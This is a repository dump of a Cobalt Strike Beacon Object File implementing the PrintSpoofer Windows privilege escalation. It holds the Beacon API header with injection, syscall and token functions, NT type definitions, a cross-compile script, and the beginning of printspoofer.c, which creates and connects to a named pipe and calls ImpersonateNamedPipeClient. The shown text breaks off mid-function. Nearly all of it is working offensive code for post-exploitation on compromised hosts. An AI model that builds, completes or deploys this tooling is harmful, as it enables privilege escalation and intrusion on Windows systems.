├── beacon.h ├── build.sh ├── def.h ├── printspoofer.c ├── printspoofer.cna └── readme.txt /beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL 21 | * Updated the BEACON_INFO data structure to add new parameters 22 | * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 23 | * 4/25/2024: Added APIs to call Beacon's system call implementation 24 | * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) 25 | * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs 26 | */ 27 | #ifndef _BEACON_H_ 28 | #define _BEACON_H_ 29 | #include 30 | 31 | #ifdef __cplusplus 32 | extern "C" { 33 | #endif // __cplusplus 34 | 35 | /* data API */ 36 | typedef struct { 37 | char * original; /* the original buffer [so we can free it] */ 38 | char * buffer; /* current pointer into our buffer */ 39 | int length; /* remaining length of data */ 40 | int size; /* total size of this buffer */ 41 | } datap; 42 | 43 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 44 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 45 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 46 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 47 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 48 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 49 | 50 | /* format API */ 51 | typedef struct { 52 | char * original; /* the original buffer [so we can free it] */ 53 | char * buffer; /* current pointer into our buffer */ 54 | int length; /* remaining length of data */ 55 | int size; /* total size of this buffer */ 56 | } formatp; 57 | 58 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 59 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 60 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); 61 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); 62 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 63 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 64 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 65 | 66 | /* Output Functions */ 67 | #define CALLBACK_OUTPUT 0x0 68 | #define CALLBACK_OUTPUT_OEM 0x1e 69 | #define CALLBACK_OUTPUT_UTF8 0x20 70 | #define CALLBACK_ERROR 0x0d 71 | #define CALLBACK_CUSTOM 0x1000 72 | #define CALLBACK_CUSTOM_LAST 0x13ff 73 | 74 | 75 | DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); 76 | DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); 77 | 78 | 79 | /* Token Functions */ 80 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 81 | DECLSPEC_IMPORT void BeaconRevertToken(); 82 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 83 | 84 | /* Spawn+Inject Functions */ 85 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 86 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 87 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 88 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 89 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 90 | 91 | /* Utility Functions */ 92 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 93 | 94 | /* Beacon Information */ 95 | /* 96 | * ptr - pointer to the base address of the allocated memory. 97 | * size - the number of bytes allocated for the ptr. 98 | */ 99 | typedef struct { 100 | char * ptr; 101 | size_t size; 102 | } HEAP_RECORD; 103 | #define MASK_SIZE 13 104 | 105 | /* Information the user can set in the USER_DATA via a UDRL */ 106 | typedef enum { 107 | PURPOSE_EMPTY, 108 | PURPOSE_GENERIC_BUFFER, 109 | PURPOSE_BEACON_MEMORY, 110 | PURPOSE_SLEEPMASK_MEMORY, 111 | PURPOSE_BOF_MEMORY, 112 | PURPOSE_USER_DEFINED_MEMORY = 1000 113 | } ALLOCATED_MEMORY_PURPOSE; 114 | 115 | typedef enum { 116 | LABEL_EMPTY, 117 | LABEL_BUFFER, 118 | LABEL_PEHEADER, 119 | LABEL_TEXT, 120 | LABEL_RDATA, 121 | LABEL_DATA, 122 | LABEL_PDATA, 123 | LABEL_RELOC, 124 | LABEL_USER_DEFINED = 1000 125 | } ALLOCATED_MEMORY_LABEL; 126 | 127 | typedef enum { 128 | METHOD_UNKNOWN, 129 | METHOD_VIRTUALALLOC, 130 | METHOD_HEAPALLOC, 131 | METHOD_MODULESTOMP, 132 | METHOD_NTMAPVIEW, 133 | METHOD_USER_DEFINED = 1000, 134 | } ALLOCATED_MEMORY_ALLOCATION_METHOD; 135 | 136 | /** 137 | * This structure allows the user to provide additional information 138 | * about the allocated heap for cleanup. It is mandatory to provide 139 | * the HeapHandle but the DestroyHeap Boolean can be used to indicate 140 | * whether the clean up code should destroy the heap or simply free the pages. 141 | * This is useful in situations where a loader allocates memory in the 142 | * processes current heap. 143 | */ 144 | typedef struct _HEAPALLOC_INFO { 145 | PVOID HeapHandle; 146 | BOOL DestroyHeap; 147 | } HEAPALLOC_INFO, *PHEAPALLOC_INFO; 148 | 149 | typedef struct _MODULESTOMP_INFO { 150 | HMODULE ModuleHandle; 151 | } MODULESTOMP_INFO, *PMODULESTOMP_INFO; 152 | 153 | typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { 154 | HEAPALLOC_INFO HeapAllocInfo; 155 | MODULESTOMP_INFO ModuleStompInfo; 156 | PVOID Custom; 157 | } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; 158 | 159 | typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { 160 | BOOL Cleanup; 161 | ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; 162 | ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; 163 | } ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; 164 | 165 | typedef struct _ALLOCATED_MEMORY_SECTION { 166 | ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development 167 | PVOID BaseAddress; // Pointer to virtual address of section 168 | SIZE_T VirtualSize; // Virtual size of the section 169 | DWORD CurrentProtect; // Current memory protection of the section 170 | DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) 171 | BOOL MaskSection; // A boolean to indicate whether the section should be masked 172 | } ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; 173 | 174 | typedef struct _ALLOCATED_MEMORY_REGION { 175 | ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory 176 | PVOID AllocationBase; // The base address of the allocated memory block 177 | SIZE_T RegionSize; // The size of the allocated memory block 178 | DWORD Type; // The type of memory allocated 179 | ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures 180 | ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation 181 | } ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; 182 | 183 | typedef struct { 184 | ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; 185 | } ALLOCATED_MEMORY, *PALLOCATED_MEMORY; 186 | 187 | /* 188 | * version - The version of the beacon dll was added for release 4.10 189 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 190 | * e.g. 0x040900 -> CS 4.9 191 | * 0x041000 -> CS 4.10 192 | * 193 | * sleep_mask_ptr - pointer to the sleep mask base address 194 | * sleep_mask_text_size - the sleep mask text section size 195 | * sleep_mask_total_size - the sleep mask total memory size 196 | * 197 | * beacon_ptr - pointer to beacon's base address 198 | * The stage.obfuscate flag affects this value when using CS default loader. 199 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 200 | * false: beacon_ptr = allocated_buffer (A valid address) 201 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 202 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 203 | * heap_records - list of memory addresses on the heap beacon wants to mask. 204 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 205 | * mask - the mask that beacon randomly generated to apply 206 | * 207 | * Added in version 4.10 208 | * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA 209 | * via a UDRL. 210 | */ 211 | typedef struct { 212 | unsigned int version; 213 | char * sleep_mask_ptr; 214 | DWORD sleep_mask_text_size; 215 | DWORD sleep_mask_total_size; 216 | 217 | char * beacon_ptr; 218 | HEAP_RECORD * heap_records; 219 | char mask[MASK_SIZE]; 220 | 221 | ALLOCATED_MEMORY allocatedMemory; 222 | } BEACON_INFO, *PBEACON_INFO; 223 | 224 | DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); 225 | 226 | /* Key/Value store functions 227 | * These functions are used to associate a key to a memory address and save 228 | * that information into beacon. These memory addresses can then be 229 | * retrieved in a subsequent execution of a BOF. 230 | * 231 | * key - the key will be converted to a hash which is used to locate the 232 | * memory address. 233 | * 234 | * ptr - a memory address to save. 235 | * 236 | * Considerations: 237 | * - The contents at the memory address is not masked by beacon. 238 | * - The contents at the memory address is not released by beacon. 239 | * 240 | */ 241 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 242 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 243 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 244 | 245 | /* Beacon Data Store functions 246 | * These functions are used to access items in Beacon's Data Store. 247 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 248 | * 249 | * The contents are masked by default, and BOFs must unprotect the entry 250 | * before accessing the data buffer. BOFs must also protect the entry 251 | * after the data is not used anymore. 252 | * 253 | */ 254 | 255 | #define DATA_STORE_TYPE_EMPTY 0 256 | #define DATA_STORE_TYPE_GENERAL_FILE 1 257 | 258 | typedef struct { 259 | int type; 260 | DWORD64 hash; 261 | BOOL masked; 262 | char* buffer; 263 | size_t length; 264 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 265 | 266 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 267 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 268 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 269 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 270 | 271 | /* Beacon User Data functions */ 272 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 273 | 274 | /* Beacon System call */ 275 | /* Syscalls API */ 276 | typedef struct 277 | { 278 | PVOID fnAddr; 279 | PVOID jmpAddr; 280 | DWORD sysnum; 281 | } SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; 282 | 283 | typedef struct 284 | { 285 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 286 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 287 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 288 | SYSCALL_API_ENTRY ntGetContextThread; 289 | SYSCALL_API_ENTRY ntSetContextThread; 290 | SYSCALL_API_ENTRY ntResumeThread; 291 | SYSCALL_API_ENTRY ntCreateThreadEx; 292 | SYSCALL_API_ENTRY ntOpenProcess; 293 | SYSCALL_API_ENTRY ntOpenThread; 294 | SYSCALL_API_ENTRY ntClose; 295 | SYSCALL_API_ENTRY ntCreateSection; 296 | SYSCALL_API_ENTRY ntMapViewOfSection; 297 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 298 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 299 | SYSCALL_API_ENTRY ntDuplicateObject; 300 | SYSCALL_API_ENTRY ntReadVirtualMemory; 301 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 302 | SYSCALL_API_ENTRY ntReadFile; 303 | SYSCALL_API_ENTRY ntWriteFile; 304 | SYSCALL_API_ENTRY ntCreateFile; 305 | SYSCALL_API_ENTRY ntQueueApcThread; 306 | SYSCALL_API_ENTRY ntCreateProcess; 307 | SYSCALL_API_ENTRY ntOpenProcessToken; 308 | SYSCALL_API_ENTRY ntTestAlert; 309 | SYSCALL_API_ENTRY ntSuspendProcess; 310 | SYSCALL_API_ENTRY ntResumeProcess; 311 | SYSCALL_API_ENTRY ntQuerySystemInformation; 312 | SYSCALL_API_ENTRY ntQueryDirectoryFile; 313 | SYSCALL_API_ENTRY ntSetInformationProcess; 314 | SYSCALL_API_ENTRY ntSetInformationThread; 315 | SYSCALL_API_ENTRY ntQueryInformationProcess; 316 | SYSCALL_API_ENTRY ntQueryInformationThread; 317 | SYSCALL_API_ENTRY ntOpenSection; 318 | SYSCALL_API_ENTRY ntAdjustPrivilegesToken; 319 | SYSCALL_API_ENTRY ntDeviceIoControlFile; 320 | SYSCALL_API_ENTRY ntWaitForMultipleObjects; 321 | } SYSCALL_API, *PSYSCALL_API; 322 | 323 | /* Additional Run Time Library (RTL) addresses used to support system calls. 324 | * If they are not set then system calls that require them will fall back 325 | * to the Standard Windows API. 326 | * 327 | * Required to support the following system calls: 328 | * ntCreateFile 329 | */ 330 | typedef struct 331 | { 332 | PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; 333 | PVOID rtlFreeHeapAddr; 334 | PVOID rtlGetProcessHeapAddr; 335 | } RTL_API, *PRTL_API; 336 | 337 | /* Updated in version 4.11 to use the entire structure instead of pointers to the structure. 338 | * This allows for retrieving a copy of the information which would be under the BOF's 339 | * control instead of a reference pointer which may be obfuscated when beacon is sleeping. 340 | */ 341 | typedef struct 342 | { 343 | SYSCALL_API syscalls; 344 | RTL_API rtls; 345 | } BEACON_SYSCALLS, *PBEACON_SYSCALLS; 346 | 347 | /* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ 348 | DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); 349 | 350 | /* Beacon System call functions which will use the current system call method */ 351 | DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 352 | DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 353 | DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 354 | DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 355 | DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 356 | DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 357 | DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 358 | DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); 359 | DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); 360 | DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); 361 | DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); 362 | DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); 363 | DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); 364 | DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); 365 | DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); 366 | DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 367 | 368 | /* Beacon Gate APIs */ 369 | DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); 370 | DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); 371 | 372 | DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); 373 | DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); 374 | 375 | /* Beacon User Data 376 | * 377 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 378 | * e.g. 0x040900 -> CS 4.9 379 | * 0x041000 -> CS 4.10 380 | */ 381 | 382 | #define DLL_BEACON_USER_DATA 0x0d 383 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 384 | typedef struct 385 | { 386 | unsigned int version; 387 | PSYSCALL_API syscalls; 388 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 389 | PRTL_API rtls; 390 | PALLOCATED_MEMORY allocatedMemory; 391 | } USER_DATA, * PUSER_DATA; 392 | 393 | #ifdef __cplusplus 394 | } 395 | #endif // __cplusplus 396 | #endif // _BEACON_H_ -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | i686-w64-mingw32-gcc -c printspoofer.c -o printspoofer.x86.o 4 | x86_64-w64-mingw32-gcc -c printspoofer.c -o printspoofer.x64.o 5 | -------------------------------------------------------------------------------- /def.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define OBJ_CASE_INSENSITIVE 0x00000040L 6 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 7 | 8 | typedef struct _CLIENT_ID { 9 | HANDLE UniqueProcess; 10 | HANDLE UniqueThread; 11 | } CLIENT_ID, *PCLIENT_ID; 12 | 13 | typedef struct _UNICODE_STRING { 14 | USHORT Length; 15 | USHORT MaximumLength; 16 | PWSTR Buffer; 17 | } UNICODE_STRING, *PUNICODE_STRING; 18 | 19 | typedef struct _OBJECT_ATTRIBUTES { 20 | ULONG Length; 21 | HANDLE RootDirectory; 22 | PUNICODE_STRING ObjectName; 23 | ULONG Attributes; 24 | PVOID SecurityDescriptor; 25 | PVOID SecurityQualityOfService; 26 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 27 | 28 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 29 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 30 | (p)->RootDirectory = r; \ 31 | (p)->Attributes = a; \ 32 | (p)->ObjectName = n; \ 33 | (p)->SecurityDescriptor = s; \ 34 | (p)->SecurityQualityOfService = NULL; \ 35 | } 36 | 37 | typedef enum _SYSTEM_INFORMATION_CLASS 38 | { 39 | SystemBasicInformation, 40 | SystemProcessorInformation, 41 | SystemPerformanceInformation, 42 | SystemTimeOfDayInformation, 43 | SystemPathInformation, 44 | SystemProcessInformation, 45 | SystemCallCountInformation, 46 | SystemDeviceInformation, 47 | SystemProcessorPerformanceInformation, 48 | SystemFlagsInformation, 49 | SystemCallTimeInformation, 50 | SystemModuleInformation, 51 | SystemLocksInformation, 52 | SystemStackTraceInformation, 53 | SystemPagedPoolInformation, 54 | SystemNonPagedPoolInformation, 55 | SystemHandleInformation, 56 | SystemObjectInformation, 57 | SystemPageFileInformation, 58 | SystemVdmInstemulInformation, 59 | SystemVdmBopInformation, 60 | SystemFileCacheInformation, 61 | SystemPoolTagInformation, 62 | SystemInterruptInformation, 63 | SystemDpcBehaviorInformation, 64 | SystemFullMemoryInformation, 65 | SystemLoadGdiDriverInformation, 66 | SystemUnloadGdiDriverInformation, 67 | SystemTimeAdjustmentInformation, 68 | SystemSummaryMemoryInformation, 69 | SystemMirrorMemoryInformation, 70 | SystemPerformanceTraceInformation, 71 | SystemObsolete0, 72 | SystemExceptionInformation, 73 | SystemCrashDumpStateInformation, 74 | SystemKernelDebuggerInformation, 75 | SystemContextSwitchInformation, 76 | SystemRegistryQuotaInformation, 77 | SystemExtendServiceTableInformation, 78 | SystemPrioritySeperation, 79 | SystemVerifierAddDriverInformation, 80 | SystemVerifierRemoveDriverInformation, 81 | SystemProcessorIdleInformation, 82 | SystemLegacyDriverInformation, 83 | SystemCurrentTimeZoneInformation, 84 | SystemLookasideInformation, 85 | SystemTimeSlipNotification, 86 | SystemSessionCreate, 87 | SystemSessionDetach, 88 | SystemSessionInformation, 89 | SystemRangeStartInformation, 90 | SystemVerifierInformation, 91 | SystemVerifierThunkExtend, 92 | SystemSessionProcessInformation, 93 | SystemLoadGdiDriverInSystemSpace, 94 | SystemNumaProcessorMap, 95 | SystemPrefetcherInformation, 96 | SystemExtendedProcessInformation, 97 | SystemRecommendedSharedDataAlignment, 98 | SystemComPlusPackage, 99 | SystemNumaAvailableMemory, 100 | SystemProcessorPowerInformation, 101 | SystemEmulationBasicInformation, 102 | SystemEmulationProcessorInformation, 103 | SystemExtendedHandleInformation, 104 | SystemLostDelayedWriteInformation, 105 | SystemBigPoolInformation, 106 | SystemSessionPoolTagInformation, 107 | SystemSessionMappedViewInformation, 108 | SystemHotpatchInformation, 109 | SystemObjectSecurityMode, 110 | SystemWatchdogTimerHandler, 111 | SystemWatchdogTimerInformation, 112 | SystemLogicalProcessorInformation, 113 | SystemWow64SharedInformation, 114 | SystemRegisterFirmwareTableInformationHandler, 115 | SystemFirmwareTableInformation, 116 | SystemModuleInformationEx, 117 | SystemVerifierTriageInformation, 118 | SystemSuperfetchInformation, 119 | SystemMemoryListInformation, 120 | SystemFileCacheInformationEx, 121 | SystemThreadPriorityClientIdInformation, 122 | SystemProcessorIdleCycleTimeInformation, 123 | SystemVerifierCancellationInformation, 124 | SystemProcessorPowerInformationEx, 125 | SystemRefTraceInformation, 126 | SystemSpecialPoolInformation, 127 | SystemProcessIdInformation, 128 | SystemErrorPortInformation, 129 | SystemBootEnvironmentInformation, 130 | SystemHypervisorInformation, 131 | SystemVerifierInformationEx, 132 | SystemTimeZoneInformation, 133 | SystemImageFileExecutionOptionsInformation, 134 | SystemCoverageInformation, 135 | SystemPrefetchPatchInformation, 136 | SystemVerifierFaultsInformation, 137 | SystemSystemPartitionInformation, 138 | SystemSystemDiskInformation, 139 | SystemProcessorPerformanceDistribution, 140 | SystemNumaProximityNodeInformation, 141 | SystemDynamicTimeZoneInformation, 142 | SystemCodeIntegrityInformation, 143 | SystemProcessorMicrocodeUpdateInformation, 144 | SystemProcessorBrandString, 145 | SystemVirtualAddressInformation, 146 | MaxSystemInfoClass 147 | } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; 148 | 149 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { 150 | USHORT UniqueProcessId; 151 | USHORT CreatorBackTraceIndex; 152 | UCHAR ObjectTypeIndex; 153 | UCHAR HandleAttributes; 154 | USHORT HandleValue; 155 | PVOID Object; 156 | ULONG GrantedAccess; 157 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 158 | 159 | typedef struct _SYSTEM_HANDLE_INFORMATION { 160 | ULONG NumberOfHandles; 161 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 162 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 163 | 164 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 165 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(); 166 | WINBASEAPI PVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 167 | WINBASEAPI PVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 168 | WINBASEAPI PVOID WINAPI KERNEL32$HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); 169 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 170 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateNamedPipeA(LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD dwDefaultTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 171 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 172 | WINBASEAPI BOOL WINAPI KERNEL32$ConnectNamedPipe(HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped); 173 | WINBASEAPI BOOL WINAPI KERNEL32$OpenProcess(PHANDLE ProcessHandle, DWORD DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 174 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtOpenProcess(PHANDLE ProcessHandle, DWORD DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); 175 | WINBASEAPI BOOL WINAPI KERNEL32$CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize); 176 | WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 177 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$ImpersonateNamedPipeClient(HANDLE hNamedPipe); 178 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); 179 | DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtDuplicateObject(HANDLE, HANDLE *, HANDLE, HANDLE *, ACCESS_MASK, BOOLEAN, ULONG); 180 | WINBASEAPI BOOL WINAPI NTDLL$NtQueryInformationToken(HANDLE TokenHandle, DWORD TokenInformationClass, PVOID TokenInformation, ULONG TokenInformationLength, PULONG ReturnLength); 181 | -------------------------------------------------------------------------------- /printspoofer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "beacon.h" 3 | #include "def.h" 4 | 5 | #define PIPE_NAME "printspoofer" 6 | 7 | LPCSTR g_clientName = "\\\\localhost\\pipe\\" PIPE_NAME; 8 | LPCSTR g_serverName = "\\\\.\\pipe\\" PIPE_NAME; 9 | 10 | void go(LPSTR args, INT alen) { 11 | HANDLE serverHandle = KERNEL32$CreateNamedPipeA(g_serverName, FILE_FLAG_FIRST_PIPE_INSTANCE | PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 0, 0, NMPWAIT_USE_DEFAULT_WAIT, NULL); 12 | if (serverHandle == INVALID_HANDLE_VALUE) { 13 | BeaconPrintf(CALLBACK_ERROR, "CreateNamedPipeA: %d\n", KERNEL32$GetLastError()); 14 | return; 15 | } 16 | 17 | HANDLE clientHandle = KERNEL32$CreateFileA(g_clientName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 18 | if (clientHandle == INVALID_HANDLE_VALUE) { 19 | BeaconPrintf(CALLBACK_ERROR, "CreateFileA: %d\n", KERNEL32$GetLastError()); 20 | KERNEL32$CloseHandle(serverHandle); 21 | return; 22 | } 23 | 24 | BOOL connected = KERNEL32$ConnectNamedPipe(serverHandle, NULL); 25 | if (!connected && KERNEL32$GetLastError() != ERROR_PIPE_CONNECTED) { 26 | BeaconPrintf(CALLBACK_ERROR, "ConnectNamedPipe: %d\n", KERNEL32$GetLastError()); 27 | KERNEL32$CloseHandle(clientHandle); 28 | KERNEL32$CloseHandle(serverHandle); 29 | return; 30 | } 31 | 32 | BOOL impersonated = ADVAPI32$ImpersonateNamedPipeClient(serverHandle); 33 | if (!impersonated) { 34 | BeaconPrintf(CALLBACK_ERROR, "ImpersonateNamedPipeClient: %d\n", KERNEL32$GetLastError()); 35 | 